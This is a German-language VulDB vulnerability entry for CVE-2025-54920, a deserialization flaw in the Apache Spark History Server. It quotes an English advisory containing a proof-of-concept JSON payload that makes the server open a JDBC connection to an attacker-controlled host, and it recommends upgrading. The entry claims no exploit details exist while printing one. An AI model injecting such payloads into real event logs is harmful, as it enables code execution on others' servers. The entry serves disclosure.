Apache Spark bis 3.5.6/4.0.0 erweiterte Rechte

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
7.4$0-$5k0.00

Zusammenfassunginfo

In Apache Spark bis 3.5.6/4.0.0 wurde eine Schwachstelle ausgemacht. Sie wurde als kritisch eingestuft. Es ist betroffen eine unbekannte Funktion. Mittels Manipulieren mit unbekannten Daten kann eine Remote Privilege Escalation-Schwachstelle ausgenutzt werden. Die Verwundbarkeit wird unter CVE-2025-54920 geführt. Es ist möglich, den Angriff aus der Ferne durchzuführen. Es ist soweit kein Exploit verfügbar. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.

Detailsinfo

Es wurde eine Schwachstelle in Apache Spark bis 3.5.6/4.0.0 ausgemacht. Sie wurde als kritisch eingestuft. Betroffen hiervon ist ein unbekannter Ablauf. Durch Manipulation mit einer unbekannten Eingabe kann eine Remote Privilege Escalation-Schwachstelle ausgenutzt werden. Im Rahmen von CWE wurde eine Klassifizierung als CWE-502 vorgenommen. Auswirkungen hat dies auf Vertraulichkeit, Integrität und Verfügbarkeit. Die Zusammenfassung von CVE lautet:

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Bereitgestellt wird das Advisory unter lists.apache.org. Die Identifikation der Schwachstelle wird mit CVE-2025-54920 vorgenommen. Die Ausnutzbarkeit gilt als leicht. Der Angriff kann über das Netzwerk erfolgen. Technische Details oder ein Exploit zur Schwachstelle sind nicht verfügbar. Ein Exploit zur Schwachstelle wird momentan etwa USD $0-$5k kosten (Preisberechnung vom 20.03.2026).

Ein Aktualisieren auf die Version 3.5.7 oder 4.0.1 vermag dieses Problem zu lösen.

Unter anderem wird der Fehler auch in der Verwundbarkeitsdatenbank von EUVD (EUVD-2025-208669) dokumentiert. If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Produktinfo

Hersteller

Name

Version

Lizenz

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.4

VulDB Base Score: 6.3
VulDB Temp Score: 6.0
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍

ADP CISA Base Score: 8.8
ADP CISA Vector: 🔒

CVSSv2info

AVACAuCIA
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💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
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freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍

Exploitinginfo

Klasse: Erweiterte Rechte
CWE: CWE-502 / CWE-20
CAPEC: 🔒
ATT&CK: 🔒

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔒
Status: Nicht definiert

EPSS Score: 🔒
EPSS Percentile: 🔒

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: Upgrade
Status: 🔍

0-Day Time: 🔒

Upgrade: Spark 3.5.7/4.0.1

Timelineinfo

14.03.2026 Advisory veröffentlicht
14.03.2026 +0 Tage VulDB Eintrag erstellt
20.03.2026 +6 Tage VulDB Eintrag letzte Aktualisierung

Quelleninfo

Hersteller: apache.org

Advisory: lists.apache.org
Status: Bestätigt

CVE: CVE-2025-54920 (🔒)
GCVE (CVE): GCVE-0-2025-54920
GCVE (VulDB): GCVE-100-351069
EUVD: 🔒

Eintraginfo

Erstellt: 14.03.2026 05:54
Aktualisierung: 20.03.2026 22:23
Anpassungen: 14.03.2026 05:54 (49), 14.03.2026 21:54 (1), 20.03.2026 22:23 (15)
Komplett: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Diskussion

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